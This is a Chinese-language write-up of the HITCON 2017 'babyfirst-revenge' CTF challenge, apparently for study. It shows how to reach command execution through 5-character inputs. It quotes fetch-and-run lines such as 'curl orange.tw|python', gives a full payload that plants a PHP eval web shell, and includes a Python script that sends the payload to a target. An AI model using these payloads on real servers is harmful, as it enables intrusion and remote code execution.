有道分享鏈接:https://note.youdao.com/ynoteshare1/index.html?id=55e53db4f857d81515e57e104777b88b&type=note
前言:
題目是hitcon-ctf-2017的babyfirst-revenge,之前是針對babyfirst-revenge-v2來進行學習研究的
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
orange師傅給的方式是通過拼接執行來getshell
curl 10.188.2.20|bash
curl orange.tw|python
這裏的我也是通過orange師傅的思路想出了另一種解題方法。
但是可能因爲是環境的問題吧,系統一直把
>\;\\
這種長度識別位5位
但是網上給出的解釋和orange師傅給的題解都是有這種的
說是後面的\\長度只能算1
所以這裏演示只在babyfirst-revenge上進行演示,如果環境可以的話也是可以在4位下成功執行的
預備知識
1)通過>來創建文件
2)通過ls的-t(從晚到早)參數來基於時間來排序文件
3)sh a 會把文件a裏面的內容當作命令來執行
4)使用\來進行命令拼接
5)通過base64來避免特殊字符
6)輸入統配符* ,Linux會把第一個列出的文件名當作命令,剩下的文件名當作參數
>id
>root
* (等同於命令:id root)
7)增加字母來限定被用來當作命令和參數的文件名
>ls
>lss
>lsss
>1
*s (等同於命令: ls lss lsss)
8)聯合知識點⑦,通過rev來倒置輸出內容
>rev
echo 1234 > v
*v (等同於命令:rev v)
9)通過增加ls的-h(把文件大小顯示成1k 1M 等形式)參數來讓調整-t(根據時間排序)參數的位置
0> t- sl
>0\>
>t-
>sl
但是實際出現的效果是這樣的
所以要增加-h來把-t往前拉
>0\>
>ht-
>sl
10)用dir來代替ls不換行輸出
先看下ls的效果,寫到a時每個文件名都是單獨一行,這樣會影響知識點⑥的命令執行
看下dir的效果,會不換行輸出到文件中去
11)使用${IFS}來代替空格
正式開始
首先我把下面這段代碼寫入到主機的0文件中去,然後後期再傳入攻擊payload時。通過sh執行0文件即可生成f文件,然後再讓sh 去執行f文件的代碼內容即可得到一句話木馬
ls -th >f
所以payload如下
>dir
>f\>
>ht-
>sl
*>v (等同於命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0 (等同於命令:rev v > 0)(0裏面的內容爲:ls -th >f)
這樣我們的payload第一部分已經寫完
接下來我們需要把 這段代碼上傳到主機,其中的內容爲(<?php eval($_GET[1]);)base64編碼後的內容
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
這裏我們看到其中出現了2個空格,這裏我們需要把其中一個空格用${IFS}替換
否則新的空格文件會替換舊的空格文件導致,攻擊payload失效,所以變成下面這樣的
echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
那麼我們只需要將上面的代碼拆分倒序輸入到主機即可
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
然後我們需要讓sh先執行0文件(ls -th >f)就會得到f文件
最後再讓sh去執行f文件即可得到1.php
最終payload如下
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f
python腳本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#檢查是否攻擊成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
演示效果: